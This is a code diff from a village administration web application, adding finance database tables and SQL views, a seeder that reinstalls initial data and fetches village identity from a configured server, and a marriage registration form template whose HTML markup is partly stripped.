+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Jenis` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `Debet` varchar(100) NOT NULL,
+ `Kredit` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_saldo_awal_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_saldo_awal_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spj` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_SPJ` varchar(100) NOT NULL,
+ `Tgl_SPJ` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Keterangan` varchar(255) DEFAULT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `Potongan` varchar(100) NOT NULL,
+ `Status` varchar(100) NOT NULL,
+ `Kunci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spj_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spj_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spj_bukti` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_SPJ` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Nm_Penerima` varchar(100) NOT NULL,
+ `Alamat` varchar(100) NOT NULL,
+ `Rek_Bank` varchar(100) NOT NULL,
+ `Nm_Bank` varchar(100) NOT NULL,
+ `NPWP` varchar(100) NOT NULL,
+ `Keterangan` varchar(250) DEFAULT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ `Kd_Bank` varchar(100) DEFAULT NULL,
+ `Ref_Bayar` varchar(100) DEFAULT NULL,
+ `Tgl_Bayar` varchar(100) DEFAULT NULL,
+ `Validasi` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spj_bukti_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spj_bukti_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spj_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_SPJ` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `JmlCair` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Alamat` varchar(100) DEFAULT NULL,
+ `Sisa` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spj_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spj_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spj_sisa` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `No_SPJ` varchar(100) NOT NULL,
+ `Tgl_SPJ` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Tgl_SPP` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Keterangan` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spj_sisa_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spj_sisa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spjpot` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPJ` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Billing_Pajak` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spjpot_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spjpot_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spp` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Tgl_SPP` varchar(100) NOT NULL,
+ `Jn_SPP` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Keterangan` varchar(250) DEFAULT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `Potongan` varchar(100) NOT NULL,
+ `Status` varchar(100) NOT NULL,
+ `F10` varchar(10) DEFAULT NULL,
+ `F11` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spp_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spp_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spp_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spp_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spp_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_sppbukti` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `Nm_Penerima` varchar(100) NOT NULL,
+ `Alamat` varchar(100) NOT NULL,
+ `Rek_Bank` varchar(100) NOT NULL,
+ `Nm_Bank` varchar(100) NOT NULL,
+ `NPWP` varchar(100) NOT NULL,
+ `Keterangan` varchar(200) DEFAULT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ `Kd_Bank` varchar(100) DEFAULT NULL,
+ `Ref_Bayar` varchar(100) DEFAULT NULL,
+ `Tgl_Bayar` varchar(100) DEFAULT NULL,
+ `Validasi` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_sppbukti_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_sppbukti_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_spppot` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Billing_Pajak` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_spppot_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_spppot_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_sts` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Uraian` varchar(100) NOT NULL,
+ `NoRek_Bank` varchar(100) NOT NULL,
+ `Nama_Bank` varchar(100) NOT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `Nm_Bendahara` varchar(100) NOT NULL,
+ `Jbt_Bendahara` varchar(100) NOT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_sts_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_sts_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_sts_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `No_TBP` varchar(100) NOT NULL,
+ `Uraian` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_sts_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_sts_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_tbp` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Uraian` varchar(250) DEFAULT NULL,
+ `Nm_Penyetor` varchar(100) NOT NULL,
+ `Alamat_Penyetor` varchar(100) NOT NULL,
+ `TTD_Penyetor` varchar(100) NOT NULL,
+ `NoRek_Bank` varchar(100) NOT NULL,
+ `Nama_Bank` varchar(100) NOT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `Nm_Bendahara` varchar(100) NOT NULL,
+ `Jbt_Bendahara` varchar(100) NOT NULL,
+ `Status` varchar(100) NOT NULL,
+ `KdBayar` varchar(100) NOT NULL,
+ `Ref_Bayar` varchar(100) NOT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_tbp_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_tbp_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_tbp_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `RincianSD` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `nilai` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_tbp_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_tbp_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_triwulan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `KURincianSD` varchar(100) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Sifat` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `Tw1Rinci` varchar(100) DEFAULT NULL,
+ `Tw2Rinci` varchar(100) DEFAULT NULL,
+ `Tw3Rinci` varchar(100) DEFAULT NULL,
+ `Tw4Rinci` varchar(100) DEFAULT NULL,
+ `KunciData` varchar(100) NOT NULL,
+ `Jan` varchar(100) DEFAULT NULL,
+ `Peb` varchar(100) DEFAULT NULL,
+ `Mar` varchar(100) DEFAULT NULL,
+ `Apr` varchar(100) DEFAULT NULL,
+ `Mei` varchar(100) DEFAULT NULL,
+ `Jun` varchar(100) DEFAULT NULL,
+ `Jul` varchar(100) DEFAULT NULL,
+ `Agt` varchar(100) DEFAULT NULL,
+ `Sep` varchar(100) DEFAULT NULL,
+ `Okt` varchar(100) DEFAULT NULL,
+ `Nop` varchar(100) DEFAULT NULL,
+ `Des` varchar(100) DEFAULT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_triwulan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_triwulan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_triwulan_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `KdPosting` varchar(100) NOT NULL,
+ `KURincianSD` varchar(100) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Sifat` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `Tw1Rinci` varchar(100) DEFAULT NULL,
+ `Tw2Rinci` varchar(100) DEFAULT NULL,
+ `Tw3Rinci` varchar(100) DEFAULT NULL,
+ `Tw4Rinci` varchar(100) DEFAULT NULL,
+ `KunciData` varchar(100) NOT NULL,
+ `Jan` varchar(100) DEFAULT NULL,
+ `Peb` varchar(100) DEFAULT NULL,
+ `Mar` varchar(100) DEFAULT NULL,
+ `Apr` varchar(100) DEFAULT NULL,
+ `Mei` varchar(100) DEFAULT NULL,
+ `Jun` varchar(100) DEFAULT NULL,
+ `Jul` varchar(100) DEFAULT NULL,
+ `Agt` varchar(100) DEFAULT NULL,
+ `Sep` varchar(100) DEFAULT NULL,
+ `Okt` varchar(100) DEFAULT NULL,
+ `Nop` varchar(100) DEFAULT NULL,
+ `Des` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_triwulan_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_triwulan_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `cdesa_penduduk` (
+ `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
+ `id_cdesa` int(5) unsigned NOT NULL,
+ `id_pend` int(11) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_cdesa` (`id_cdesa`),
+ CONSTRAINT `cdesa_penduduk_fk` FOREIGN KEY (`id_cdesa`) REFERENCES `cdesa` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_cdesa` (
+ `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
+ `id_cdesa_masuk` int(5) unsigned DEFAULT NULL,
+ `cdesa_keluar` int(5) unsigned DEFAULT NULL,
+ `jenis_mutasi` tinyint(2) DEFAULT NULL,
+ `tanggal_mutasi` date DEFAULT NULL,
+ `keterangan` text DEFAULT NULL,
+ `id_persil` int(11) NOT NULL,
+ `no_bidang_persil` tinyint(3) DEFAULT NULL,
+ `luas` decimal(7,0) DEFAULT NULL,
+ `no_objek_pajak` varchar(30) DEFAULT NULL,
+ `path` text DEFAULT NULL,
+ `id_peta` int(60) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `cdesa_mutasi_fk` (`id_cdesa_masuk`),
+ CONSTRAINT `cdesa_mutasi_fk` FOREIGN KEY (`id_cdesa_masuk`) REFERENCES `cdesa` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+ }
+
+ private function buat_view()
+ {
+ DB::statement('CREATE VIEW `daftar_grup` AS
+ select `a`.*,
+ (select count(`anggota_grup_kontak`.`id_kontak`) from `anggota_grup_kontak` where (`a`.`id_grup` = `anggota_grup_kontak`.`id_grup`)) AS `jumlah_anggota`
+ from `kontak_grup` `a`');
+
+ DB::statement(
+ 'CREATE VIEW dokumen_hidup AS SELECT * FROM dokumen WHERE deleted <> 1'
+ );
+
+ DB::statement('CREATE VIEW keluarga_aktif AS SELECT k.*
+ FROM tweb_keluarga k
+ LEFT JOIN tweb_penduduk p ON k.nik_kepala = p.id
+ WHERE p.status_dasar = 1');
+
+ DB::statement("CREATE VIEW `master_inventaris` AS
+ SELECT 'inventaris_asset' AS asset, inventaris_asset.id, inventaris_asset.nama_barang, inventaris_asset.kode_barang, 'Baik' AS kondisi, inventaris_asset.keterangan, inventaris_asset.asal, inventaris_asset.tahun_pengadaan FROM inventaris_asset WHERE visible = 1
+ UNION ALL SELECT 'inventaris_gedung' AS asset, inventaris_gedung.id, inventaris_gedung.nama_barang, inventaris_gedung.kode_barang, inventaris_gedung.kondisi_bangunan, inventaris_gedung.keterangan, inventaris_gedung.asal, YEAR( inventaris_gedung.tanggal_dokument) AS tahun_pengadaan FROM inventaris_gedung WHERE visible = 1
+ UNION ALL SELECT 'inventaris_jalan' AS asset, inventaris_jalan.id, inventaris_jalan.nama_barang, inventaris_jalan.kode_barang, inventaris_jalan.kondisi, inventaris_jalan.keterangan, inventaris_jalan.asal, YEAR ( inventaris_jalan.tanggal_dokument ) AS tahun_pengadaan FROM inventaris_jalan WHERE visible = 1
+ UNION ALL SELECT 'inventaris_peralatan' AS asset, inventaris_peralatan.id, inventaris_peralatan.nama_barang, inventaris_peralatan.kode_barang, 'Baik', inventaris_peralatan.keterangan, inventaris_peralatan.asal, inventaris_peralatan.tahun_pengadaan FROM inventaris_peralatan WHERE visible = 1");
+
+ DB::statement(
+ 'CREATE VIEW penduduk_hidup AS SELECT * FROM tweb_penduduk WHERE status_dasar = 1'
+ );
+
+ DB::statement("CREATE VIEW `rekap_mutasi_inventaris` AS
+ SELECT 'inventaris_asset' AS asset, id_inventaris_asset, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_asset WHERE visible = 1
+ UNION ALL SELECT 'inventaris_gedung', id_inventaris_gedung, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_gedung WHERE visible = 1
+ UNION ALL SELECT 'inventaris_jalan', id_inventaris_jalan, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_jalan WHERE visible = 1
+ UNION ALL SELECT 'inventaris_peralatan', id_inventaris_peralatan, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_peralatan WHERE visible = 1");
+
+ DB::statement("CREATE VIEW `daftar_kontak` AS
+ select `a`.`id_kontak` AS `id_kontak`,`a`.`id_pend` AS `id_pend`,`b`.`nama` AS `nama`,`a`.`no_hp` AS `no_hp`,(case when (`b`.`sex` = '1') then 'Laki-laki' else 'Perempuan' end) AS `sex`,`b`.`alamat_sekarang` AS `alamat_sekarang`
+ from (`kontak` `a` left join `tweb_penduduk` `b` on((`a`.`id_pend` = `b`.`id`)))");
+
+ DB::statement(
+ 'CREATE VIEW `daftar_anggota_grup` AS select `a`.`id_grup_kontak` AS `id_grup_kontak`,`a`.`id_grup` AS `id_grup`,`c`.`nama_grup` AS `nama_grup`,`b`.`id_kontak` AS `id_kontak`,`b`.`nama` AS `nama`,`b`.`no_hp` AS `no_hp`,`b`.`sex` AS `sex`,`b`.`alamat_sekarang` AS `alamat_sekarang` from ((`anggota_grup_kontak` `a` left join `daftar_kontak` `b` on((`a`.`id_kontak` = `b`.`id_kontak`))) left join `kontak_grup` `c` on((`a`.`id_grup` = `c`.`id_grup`)))'
+ );
+ }
+}
diff --git a/donjo-app/models/seeders/Seeder.php b/donjo-app/models/seeders/Seeder.php
index e6d388599..6b0f7ec62 100644
--- a/donjo-app/models/seeders/Seeder.php
+++ b/donjo-app/models/seeders/Seeder.php
@@ -1,489 +1,150 @@
-db) {
+ $this->session->unset_userdata(['db_error', 'message', 'heading', 'message_query', 'message_exception', 'sudah_mulai']);
+ } elseif (! $this->session->sudah_mulai) {
+ $this->session->unset_userdata(['db_error', 'message', 'heading', 'message_query', 'message_exception']);
+ $this->session->sudah_mulai = true;
+ }
+
+ if ($this->session->db_error) {
+ return;
+ }
+
+ $this->load->database();
+ if (empty($this->db->list_tables())) {
+ $this->run();
+ }
+ }
+
+ public function run()
+ {
+ $this->load->helper('directory');
+
+ log_message('notice', 'Mulai memasang data awal');
+
+ // Hapus isi folder desa/cache
+ $dir = config_item('cache_path');
+
+ foreach (directory_map($dir) as $file) {
+ if ($file !== 'index.html') {
+ unlink($dir . DIRECTORY_SEPARATOR . $file);
+ }
+ }
+
+ // Hapus file app_key
+ $file = DESAPATH . 'app_key';
+ if (file_exists($file)) {
+ unlink($file);
+ }
+
+ $this->load->model('seeders/data_awal_seeder', 'data_awal_seeder');
+ $this->data_awal_seeder->run();
+
+ // Database perlu dibuka ulang supaya cachenya berfungsi benar setelah diubah
+ $this->db->close();
+ $this->load->database();
+ $this->load->model('database_model');
+ $this->database_model->impor_data_awal_analisis();
+ $this->database_model->cek_migrasi(true);
+ $this->isi_config();
+ Migrasi::latest('id')->first()->delete();
+ session_destroy();
+ log_message('notice', 'Selesai memasang data awal');
+ }
+
+ // Kalau belum diisi, buat identitas desa jika kode_desa ada di file desa/config/config.php
+ private function isi_config()
+ {
+ if (! Schema::hasTable('config') || identitas() || empty($kode_desa = config_item('kode_desa')) || ! cek_koneksi_internet()) {
+ return;
+ }
+
+ // Ambil data desa dari tracksid
+ $this->load->library('data_publik');
+ $this->data_publik->set_api_url(config_item('server_pantau') . '/index.php/api/wilayah/kodedesa?token=' . config_item('token_pantau') . '&kode=' . $kode_desa, 'kode_desa');
+ $data_desa = $this->data_publik->get_url_content(true);
+
+ if ($data_desa->header->http_code != 200 || empty($data_desa->body)) {
+ set_session('error', "Kode desa {$kode_desa} di desa/config/config.php tidak ditemukan di " . config_item('server_pantau'));
+ } else {
+ $desa = $data_desa->body;
+ $data = [
+ 'nama_desa' => nama_desa($desa->nama_desa),
+ 'kode_desa' => bilangan($kode_desa),
+ 'nama_kecamatan' => nama_terbatas($desa->nama_kec),
+ 'kode_kecamatan' => bilangan($desa->kode_kec),
+ 'nama_kabupaten' => ucwords(hapus_kab_kota(nama_terbatas($desa->nama_kab))),
+ 'kode_kabupaten' => bilangan($desa->kode_kab),
+ 'nama_propinsi' => ucwords(nama_terbatas($desa->nama_prov)),
+ 'kode_propinsi' => bilangan($desa->kode_prov),
+ 'nama_kepala_camat' => '',
+ 'nip_kepala_camat' => '',
+ ];
+ if (Config::create($data)) {
+ set_session('success', "Kode desa {$kode_desa} diambil dari desa/config/config.php");
+
+ // Data awal
+ $this->load->model('migrations/data_awal', 'data_awal');
+ $this->data_awal->up();
+ }
+ }
+ }
+}
diff --git a/donjo-app/views/database/migrasi_cri.php b/donjo-app/views/database/migrasi_cri.php
index e097263e5..eb7e0a808 100644
--- a/donjo-app/views/database/migrasi_cri.php
+++ b/donjo-app/views/database/migrasi_cri.php
@@ -37,21 +37,6 @@
-
@@ -65,18 +50,94 @@
+
+
+
+
diff --git a/donjo-app/views/gis/maps.php b/donjo-app/views/gis/maps.php
index 9b7205575..056fd9db8 100644
--- a/donjo-app/views/gis/maps.php
+++ b/donjo-app/views/gis/maps.php
@@ -302,7 +302,7 @@
});
for (var x = 0; x < jml; x++) {
if (penduduk[x].lat || penduduk[x].lng) {
- foto = '+ |
+
|
+ + | ||||||||||||||||||||||||||||||||||||||||||||||
+ | PEMERINTAH KABUPATEN/KOTA | +: | += $config['nama_kabupaten'] ?? str_pad(".", 60, ".", STR_PAD_LEFT); ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | DINAS/KANTOR | +: | += $config['nama_desa'] ?? str_pad(".", 60, ".", STR_PAD_LEFT); ?> | +Kode Wilayah | + ++ + = substr($config['kode_desa'], 6, 10)[$i]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||||||||
+ |
+
|
+ ||||||||||||||||||||||||||||||||||||||||||||||||
+ | + I. DATA SUAMI + | ++ | |||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_pria'][$i];?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 2. | +Nomor Kartu Keluarga (Nomor KK) | ++ + | + + = $input['kk_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. | +Nomor Paspor | ++ + | + + = $input['dokumen_pasport_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. | +Nama Lengkap | ++ | = $input['nama_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 5. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_pria']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 6. | +Alamat | ++ | = $input['alamat_pria']?> | +RT | + ++ + = $input['rt_pria'][$i];?> + + + + | + +RW | + ++ + = $input['rw_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_pria'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desapria'];?> | +b. Kecamatan | += $input['kecpria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
